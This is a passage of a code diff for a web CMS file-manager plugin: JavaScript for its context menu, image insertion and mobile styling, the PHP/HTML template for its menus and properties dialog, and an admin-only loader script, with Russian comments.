managerSettingsDiv.style.width = 'calc(100vw - 42px)';
managerSettingsDiv.style.height = '42px';
managerSettingsDiv.style.left = '15px';
managerSettingsDiv.style.top = 'auto';
managerSettingsDiv.style.boxShadow = 'none';
}
let ids = [
'managerSettingsCopy',
'managerSettingsCut',
'managerSettingsRename',
'managerSettingsDelete',
'managerSettingsProperties',
'managerSettingsLoad',
'managerSettingsInsert',
'managerSettingsButtonCreateFolder',
'managerSettingsButtonCreateFile'
];
ids.forEach(id => {
let el = document.getElementById(id);
if (el) {
if (el.dataset.oldDisplay === undefined) {
el.dataset.oldDisplay = getComputedStyle(el).display;
}
el.style.display = 'none';
}
});
if (event.target.closest('.managerTableDivFile')) {
['managerSettingsCopy','managerSettingsCut','managerSettingsRename','managerSettingsDelete','managerSettingsProperties']
.forEach(id => {
let el = document.getElementById(id);
el.style.display = el.dataset.oldDisplay;
});
} else {
document.getElementById('managerSettingsLoad').style.display = document.getElementById('managerSettingsLoad').dataset.oldDisplay;
navigator.clipboard.readText().then(text => {
if (text) {
let parts = text.split('|');
if (parts.length === 2 && parts[0].trim() !== '' && parts[1].trim() !== '') {
let el = document.getElementById('managerSettingsInsert');
el.style.display = el.dataset.oldDisplay;
}
}
}).catch(err => {
console.error('Ошибка чтения буфера:', err);
});
['managerSettingsButtonCreateFolder','managerSettingsButtonCreateFile']
.forEach(id => {
let el = document.getElementById(id);
el.style.display = el.dataset.oldDisplay;
});
}
managerSettingsDiv.style.visibility = 'visible';
document.addEventListener('pointerdown', function hideMenu(e) {
if (!managerSettingsDiv.contains(e.target)) {
managerSettingsDiv.style.visibility = 'hidden';
document.removeEventListener('pointerdown', hideMenu);
}
});
}
/**
* @brief Обрабатывает контекстное меню пути
* @param event событие контекстного меню
*/
function managerPathContext(event){
let targetElement=event.target.closest('[path]')
if(targetElement){
let pathValue=targetElement.getAttribute('path')
managerTableDivFilePath=pathValue
}
}
document.addEventListener('contextmenu',managerPathContext)
touchLong(document, managerPathContext)
/** @brief Сохраняет файл через функцию "Сохранить как" */
function saveHow() {
let currentPathHow = currentPath;
if (currentPathHow.startsWith('/')) {
currentPathHow = currentPathHow.slice(1);
}
if (!currentPathHow.endsWith('/')) {
currentPathHow += '/';
}
window.saveContentIdHow(currentPathHow);
}
/** @brief Открывает выбранную страницу */
function openPageBut() {
if (openPageButPath != "no/Select") {
getPage(openPageButPath);
} else {
messageFunction('{{select_file_ending_with_page_php}}');
}
}
/** @brief Обрабатывает выбор страницы через URL */
function propertiesUrlFun() {
let saveHowNameValue = document.getElementById('saveHowName').value;
if (!saveHowNameValue.includes('.page.php')) return;
let newValue = saveHowNameValue.replace(/\.page\.php/, "");
let cp = currentPath;
if (cp.charAt(0) === "/") {
cp = cp.substring(1);
}
document.getElementById('treePropertiesDivUrlValue').innerHTML = cp + "/" + newValue;
window.managerDataAction = "";
managerDiv.style.visibility = "hidden";
}
/** @brief Обрабатывает выбор изображения для вставки */
function selectImgFormButFun() {
var rawPath = document.getElementById('managerPath').textContent;
var cleanPath = rawPath.trim().replace(/\s*\/\s*/g, '/').replace(/\s+/g, '');
var fileName = document.getElementById('saveHowName').value.trim();
var fullPath = cleanPath + fileName;
if (fullPath.startsWith('/')) {
fullPath = fullPath.slice(1);
}
var img = document.createElement("img");
img.src = fullPath;
img.setAttribute("style", "float: left; margin: 10px; width: 250px; border: 0px solid rgb(0, 0, 0); overflow: hidden;");
var sel = window.getSelection();
if (sel.rangeCount) {
var range = sel.getRangeAt(0);
range.deleteContents();
range.insertNode(img);
}
window.managerDataAction = "";
managerDiv.style.visibility = "hidden";
}
/** @brief Обрабатывает выбор изображения для вставки в форму */
function selectImgFormToFormButFun() {
var rawPath = document.getElementById('managerPath').textContent;
var cleanPath = rawPath.trim().replace(/\s*\/\s*/g, '/').replace(/\s+/g, '');
var fileName = document.getElementById('saveHowName').value.trim();
var fullPath = cleanPath + fileName;
if (fullPath.startsWith('/')) fullPath = fullPath.slice(1);
window.pendingImageSrc = fullPath;
window.managerDataAction = "";
managerDiv.style.visibility = "hidden";
}
if (isPhone) document.getElementById('managerDiv').style.paddingBottom = "150px"
if (!isPhone) {
document.querySelectorAll('.managerSettingsButtons').forEach(btn=>{
btn.style.backgroundColor='rgba(255, 255, 255, 1)'
btn.style.borderRadius='5px'
btn.style.padding='2px'
btn.style.margin='3px'
btn.style.cursor='pointer'
btn.style.display='block'
btn.addEventListener('mouseover',()=>btn.style.color='#787878')
btn.addEventListener('mouseout',()=>btn.style.color='')
})
} else {
document.querySelectorAll('.managerSettingsButtons').forEach(btn=>{
btn.style.backgroundImage='url(../../img/pict/b_iconslyb.svg)'
btn.style.height='42px'
btn.style.minWidth='42px'
btn.style.setProperty('background-size','calc(1122px* 1.5)','important')
btn.style.display='inline-block'
btn.style.borderRadius='5px'
btn.style.cursor='pointer'
btn.style.display='flex'
btn.style.flexDirection='column'
btn.style.alignItems='center'
btn.style.fontSize='10px'
btn.style.lineHeight='1'
btn.style.justifyContent = 'flex-end'
btn.style.top='2px'
btn.style.position = 'relative'
btn.style.width = 'auto'
})
let wrap = document.getElementById('managerSettings')
wrap.style.display = 'flex'
wrap.style.maxWidth = '-webkit-fill-available'
wrap.style.overflowX = 'auto'
wrap.style.overflowY = 'hidden'
wrap.style.justifyContent = 'center'
let div = document.getElementById('managerSettingsDiv')
div.style.height = '-webkit-fill-available'
div.style.display = 'inline-flex'
div.style.whiteSpace = 'nowrap'
div.style.width = 'max-content'
div.style.gap = '7px'
div.style.alignItems = 'center'
}
window.managerSettings = managerSettings;
window.managerFun = managerFun;
window.saveHow = saveHow;
window.openPageBut = openPageBut;
window.propertiesUrlFun = propertiesUrlFun;
window.selectImgFormButFun = selectImgFormButFun;
window.selectImgFormToFormButFun = selectImgFormToFormButFun;

45
main_plugin/manager/manager.php Executable file
View File

@@ -0,0 +1,45 @@
<?php
/**
* @file manager.php
* @brief Содержит интерфейс для создания, удаления, копирования и редактирования файлов и папок
*/
?>
<?php /** @brief Основной контейнер менеджера */ $managerDiv; ?>
<div id="managerDiv" style="visibility: hidden; top: 20%; left: 50%; transform: translate(-50%, -20%);">
</div>
<?php /** @brief Контейнер настроек менеджера */ $managerSettings; ?>
<div id="managerSettings" style="visibility: hidden; top: 0px; left: 0px;">
<div id="managerSettingsDiv">
<span id="managerSettingsCopy" class="managerSettingsButtons" style="background-position: -890px -840px;">{{copy}}</span>
<span id="managerSettingsCut" class="managerSettingsButtons" style="background-position: -1372px -419px;">{{cut}}</span>
<span id="managerSettingsRename" class="managerSettingsButtons" style="background-position: -96px -359px;">{{rename}}</span>
<span id="managerSettingsDelete" class="managerSettingsButtons" style="background-position: -654px -1018px;">{{delete}}</span>
<span id="managerSettingsProperties" class="managerSettingsButtons" style="background-position: -1195px -1076px;">{{properties}}</span>
<span id="managerSettingsLoad" class="managerSettingsButtons" style="background-position: -1059px -2px;">{{upload_file}}</span>
<span id="managerSettingsInsert" class="managerSettingsButtons" style="background-position: -1435px -419px;">{{paste}}</span>
<span id="managerSettingsButtonCreateFile" class="managerSettingsButtons" style="background-position: -642px -839px;">{{create_file}}</span>
<span id="managerSettingsButtonCreateFolder" class="managerSettingsButtons" style="background-position: -1121px -840px;">{{create_folder}}</span>
</div>
</div>
<?php /** @brief Контейнер свойств выбранного элемента */ $managerProperties; ?>
<div id="managerProperties" style="visibility: hidden; top: 20%; left: 50%; transform: translate(-50%, -20%);">
<div id="managerPropertiesTop">
<span id="managerPropertiesTopName" class="managerPropertiesTop"></span>
<span id="managerPropertiesTopClose" class="editib"></span>
</div>
<div id="managerPropertiesMiddle">
<div id="managerPropertiesWindow">
<span id="managerPropertiesWindowProperties" class="managerPropertiesWindowDiv">{{properties}}</span>
<span id="managerPropertiesWindowRights" class="managerPropertiesWindowDiv">{{rights}}</span>
</div>
<div id="managerPropertiesDiv">
</div>
<div id="managerPropertiesDivButtons">
<div id="managerPropertiesDivButtonOk" class="managerPropertiesDivButton">{{ok}}</div>
<div id="managerPropertiesDivButtonCancel" class="managerPropertiesDivButton">{{cancel}}</div>
</div>
</div>
</div>

27
main_plugin/manager/plug.php Executable file
View File

@@ -0,0 +1,27 @@
<?php
/**
* @file plug.php
* @brief Подключает плагин manager для администраторов и выводит HTML с языковыми строками
*/
global $path, $_SESSION, $configAdmins;
/** @brief Языковой массив для плагина manager */
$lang = include $path . 'main_plugin/manager/lang.php';
/** @brief Текущий язык пользователя, по умолчанию 'en' */
$lng = $_SESSION['lng'] ?? 'en';
if (in_array($_SESSION['username'], $configAdmins, true)) {
include_once $path . 'main_plugin/manager/func.manager.php';
$Html = file_get_contents($path . 'main_plugin/manager/manager.php');
foreach ($lang[$lng] as $key => $value) {
$Html = str_replace('{{' . $key . '}}', $value, $Html);
}
echo $Html;
echo '<link rel="stylesheet" type="text/css" href="/main_plugin/manager/manager.css">';
echo '<script type="text/javascript" src="/main_plugin/manager/lang.js.php?lng=' . $lng . '"></script>';
}
?>